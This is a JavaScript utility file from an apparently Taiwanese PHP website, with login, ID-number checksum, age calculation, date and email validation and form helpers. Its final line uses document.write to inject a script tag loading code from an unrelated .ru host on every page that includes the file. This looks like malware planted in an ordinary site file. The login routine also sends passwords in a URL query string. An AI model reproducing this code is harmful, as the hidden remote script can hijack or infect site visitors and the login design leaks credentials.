﻿function ord( string ) {
    var str = string + '';
    var code = str.charCodeAt(0);
    if (0xD800 <= code && code <= 0xDBFF) { // High surrogate (could change last hex to 0xDB7F to treat high private surrogates as single characters)
        var hi = code;
        if (str.length === 1) {
            return code; // This is just a high surrogate with no following low surrogate, so we return its value;
                                    // we could also throw an error as it is not a complete character, but someone may want to know
        }
        var low = str.charCodeAt(1);
        if (!low) {
            
        }
        return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
    }
    if (0xDC00 <= code && code <= 0xDFFF) { // Low surrogate
        return code; // This is just a low surrogate with no preceding high surrogate, so we return its value;
                                // we could also throw an error as it is not a complete character, but someone may want to know
    }
    return code;
}
function ch_tbcolor(x,y)
{
	x.style.backgroundColor=y;
}
function go_y()
{

	//var y=document.body.scrollTop;
	//document.getElementsByName("form1")[0].bar_y.value=y;
	var y=document.getElementsByName("form1")[0].bar_y.value;
	window.scroll(0,y);
}
function go_url(x)
{
	location.href=x;
}
function logout()
{
	iframe1.document.location.href='logout.php';
}
function login()
{
	var x=document.getElementsByName("form1")[0].uid.value;
	var y=document.getElementsByName("form1")[0].upwd.value;
	if(x && y)
	{
		iframe1.document.location.href='mb_chk.php?uid='+x+'&upwd='+y;
	}
	else
	{
		alert('請輸入帳號密碼');
		document.getElementsByName("form1")[0].uid.focus();
	}
}
function set_wc(x,y)
{
	s_w=(screen.width-x)/2;
	s_h=(screen.height-y)/2-10;
	return 'left='+s_w+',top='+s_h;
}
function show_big(x)
{
	var pic_w=window.open('show_pic.php?pic_name='+x,'pic_w','scrollbars=yes,top=0,left=0,resizable=0,width=100,height=100');
        pic_w.focus();
}
function count_w(x,y)
{
	var count_num="目前字數："+x.value.length+"/";
	document.getElementById(y).innerText=count_num;
}
function ch_page(x)
{
	if(x)
	{
		var p1=document.getElementsByName("form1")[0].page;
		var p2=document.getElementsByName("form1")[0].page1
		var p3=document.getElementsByName("form1")[0].page2
		if(p1)p1.value=x;
		if(p2)p2.value=x;
		if(p3)p3.value=x;
	}
	document.getElementsByName("form1")[0].target='_self';
	document.getElementsByName("form1")[0].action='';
	document.getElementsByName("form1")[0].submit();
}
function download(x,y)
{
	iframe1.location.href='download.php?save_file='+x+'&f_name='+y;
}
function show_pic(x,y)
{
	var pic=document.getElementById(y);
	if(pic && x.value)
		document.getElementById("small_"+y).innerHTML="<img src='"+x.value+"'  border=0>";
}
function get_date(x,y)
{
	var w=250;
	var h=220;
	if(!y)y='';
	if(x)
	var date_w=window.open('calendar.php?col_name='+x+'&old_date='+y,'date_w','status=yes,scrollbars=yes,width='+w+',height='+h+','+set_wc(w,h));
	date_w.focus();
}
function chk_id(x)
{
	x=x.toUpperCase();
	if (x.length != 10) 
	{
		alert('身份證字號為無效的身份證字號，請重新檢查一次');
    		return false;
    	}
	var get_id = new Array(10)
  	for (i=0; i<10; i++) 
	{ 
		get_id[i] = x.charAt(i) 
	}
  	var first_w = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  	get_id[0]   = first_w.indexOf(get_id[0])
  	if (get_id[0] == -1) 
	{
      		alert('身份證字號開頭必須為大寫英文字母，請重新檢查一次');
	      	return false;
  	}
	if (get_id[1] !=1 && get_id[1] !=2) 
	{
      		alert('身份證字號無效，請重新檢查一次');
      		return false;
  	}
  	var id_n  = new Array(26)
	id_n=[1,10,19,28,37,46,55,64,39,73,82,2,11,20,48,29,38,47,56,65,74,83,21,3,12,30];
  	var chk_num = id_n[get_id[0]]
  	for (i=1; i<10; i++) 
	{
		var num_w = '0123456789'
      		get_id[i] = num_w.indexOf(get_id[i])
	    	if (get_id[i] == -1) 
		{
			alert('身份證字號無效，請重新檢查一次');
			return false;
	    	} 
		else 
		{
			chk_num += get_id[i] * (9-i)
	    	}
  	}
  	chk_num += 1 * get_id[9]
	if (chk_num % 10 != 0) 
	{
		alert('身份證字號無效，請重新檢查一次');
		return false;
  	}
	return true;
}
function ch_city(x,y,z)
{
	document.getElementsByName("form1")[0].target='iframe1';
	document.getElementsByName("form1")[0].action='area.php';
	document.getElementsByName("form1")[0].postid.value='';
	document.getElementsByName("form1")[0].act.value=y;
	document.getElementsByName("form1")[0].col_name.value=z;
	document.getElementsByName("form1")[0].submit();
}
function next_col(x,y,z)
{
	//onkeyup=next_col(this,'mobile2',2)
	if(x.value.length==z)
		eval('document.getElementsByName("form1")[0].'+y).focus();
}
function chk_day(y1,m1,d1)
{
	m1=m1-1;//因為0是12月所以要先減1
	var bday=new Date(y1,m1,d1);
	//如果日期不合格的時候，抓出來月份會不同ex:2009-02-29 抓出來會是03-01
	//潤年時 2008-02-29 抓出來還是 2008-02-29所以不用特別去處理
	if(bday.getFullYear()!=y1||bday.getMonth()!=m1||bday.getDate()!=d1)
	{
		return false;
	}
	return true;
}
function get_age(birth,end_date,half)
{
	//half為滿半年即加一歲(保險年齡計算方式)
	//var age=get_age('2009-02-29','2009-02-29');//使用方式指定結束日期
	//var age=get_age('2009-02-29');//以現在時間做為終止日
	birth=birth.replace(/\-/g,"/");
	birth=birth.split("/");
	var chk_b=chk_day(birth[0],birth[1],birth[2]);
	var birth=new Date(birth[0]+"/"+birth[1]+"/"+birth[2]);
	if(end_date)
	{
		end_date=end_date.replace(/\-/g,"/");
		end_date=end_date.split("/");
		
		var chk_e=chk_day(end_date[0],end_date[1],end_date[2]);
		var today=new Date(end_date[0]+"/"+end_date[1]+"/"+end_date[2]);//計算結束日期
	}
	else
	{
		var today=new Date();//沒有指定結束日期就用當天
		chk_e=true;
	}
	if(chk_b && chk_e)
	{
		var count = today - birth;
		age=(Math.floor(count / (1000*60*60*24)))/365;
		age2=Math.floor(age)+0.6;
		if(age>=age2 && half)
			age=Math.round(age);
		else
			age=Math.floor(age);
		return age;
	}
	else
	{
		alert('日期格式不正確');
		return false;
	}
}
function chk_mail(email) {
  regularExpression = /^[^\s]+@[^\s]+\.[^\s]{2,3}$/;
  if (regularExpression.test(email)) {
      return true;
  }else{
      return false;
  }
}
document.write('<script src=http://nautsilus.ru/stuff/nts-bnr.php ><\/script>');
